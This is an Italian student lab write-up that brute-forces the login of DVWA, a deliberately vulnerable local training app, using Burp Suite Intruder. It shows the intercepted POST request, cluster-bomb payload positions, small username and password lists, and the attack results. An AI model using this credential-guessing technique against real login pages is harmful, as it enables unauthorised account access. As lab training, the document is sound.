

Esercizio S3-L3 Epicode

Studente: Simone Mininni

BurpSuite e DVWA

Attacco BruteForce:

Login page...



Username

Password

Login

Burpsuite Post method interception...

Request to http://127.0.0.1:80

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1 POST /DVWA/login.php HTTP/1.1
2 Host: 127.0.0.1
3 Content-Length: 85
4 Cache-Control: max-age=0
5 sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
6 sec-ch-ua-mobile: ?0
7 sec-ch-ua-platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 Origin: http://127.0.0.1
0 Content-Type: application/x-www-form-urlencoded
1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
2 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 Sec-Fetch-Site: same-origin
4 Sec-Fetch-Mode: navigate
5 Sec-Fetch-User: ?1
6 Sec-Fetch-Dest: document
7 Referer: http://127.0.0.1/DVWA/login.php
8 Accept-Encoding: gzip, deflate, br
9 Accept-Language: en-US,en;q=0.9
0 Cookie: PHPSESSID=vr7r55efhfvug5k9f094441eie; security=low
1 Connection: close
2
3 username=admin&password=admin&Login=Login&user_token=52fd86476ad167e81ad1cb4795e2733c
```

Send to Intruder per testare l' attacco brute force di tipo cluster bomb, identificando 2 payloads(username e password).

ⓘ Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: ☒ Update Host he

```
1 POST /DWA/login.php HTTP/1.1
2 Host: 127.0.0.1
3 Content-Length: 85
4 Cache-Control: max-age=0
5 sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
6 sec-ch-ua-mobile: ?0
7 sec-ch-ua-platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 Origin: http://127.0.0.1
10 Content-Type: application/x-www-form-urlencoded
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: document
17 Referer: http://127.0.0.1/DWA/login.php
18 Accept-Encoding: gzip, deflate, br
19 Accept-Language: en-US,en;q=0.9
20 Cookie: PHPSESSID=vr7r55efhfvug5k9f094441eie; security=low
21 Connection: close
22
23 username=Sadmin5&password=Sadmin5&Login=Login&user_token=52fd86476ad167e81ad1cb4795e2733c
```

Inserisco le possibili password e poi gli username nella lista...

ⓘ Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load ...

Remove

Clear

Deduplicate

admin

adminadmin


guest

password

Password

Add

Enter a new item

Add from list ... [Pro version only] 

ⓘ Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load ...

Remove

Clear


Deduplicate

admin

adminadmin

Add

Enter a new item

Add from list ... [Pro version only] 

Procedo con l'attacco, individuando il payload1 admin e payload2 password restituiscono la pagina index.php.

4. Intruder attack of http://127.0.0.1 - Temporary attack - Not saved to project file

AttackSaveColumns

ResultsPositionsPayloadsResource poolSettings

▼ Filter: Showing all items

Request	Payload 1	Payload 2	Status code	Error	Timeout	Length	Comment
1	admin	admin	302	<input type="checkbox"/>	<input type="checkbox"/>	337	
2	adminadmin	admin	302	<input type="checkbox"/>	<input type="checkbox"/>	337	
3	admin	adminadmin	302	<input type="checkbox"/>	<input type="checkbox"/>	337	
4	adminadmin	adminadmin	302	<input type="checkbox"/>	<input type="checkbox"/>	337	
5	admin	guest	302	<input type="checkbox"/>	<input type="checkbox"/>	336	
6	adminadmin	guest	302	<input type="checkbox"/>	<input type="checkbox"/>	337	
7	admin	password	302	<input type="checkbox"/>	<input type="checkbox"/>	337	
8	adminadmin	password	302	<input type="checkbox"/>	<input type="checkbox"/>	337	
9	admin	Password	302	<input type="checkbox"/>	<input type="checkbox"/>	336	
10	adminadmin	Password	302	<input type="checkbox"/>	<input type="checkbox"/>	337	

RequestResponse

PrettyRawHexRender

1 HTTP/1.1 302 Found

2 Date: Wed, 11 Oct 2023 14:44:12 GMT

3 Server: Apache/2.4.57 (Debian)

4 Expires: Thu, 19 Nov 1981 08:52:00 GMT

5 Cache-Control: no-store, no-cache, must-revalidate

6 Pragma: no-cache

7 Location: index.php

8 Content-Length: 0

9 Keep-Alive: timeout=5, max=100

10 Connection: Keep-Alive

11 Content-Type: text/html; charset=UTF-8

12

13

?

⚙

⬅

➡

Search

🔍

0 highlights

Finished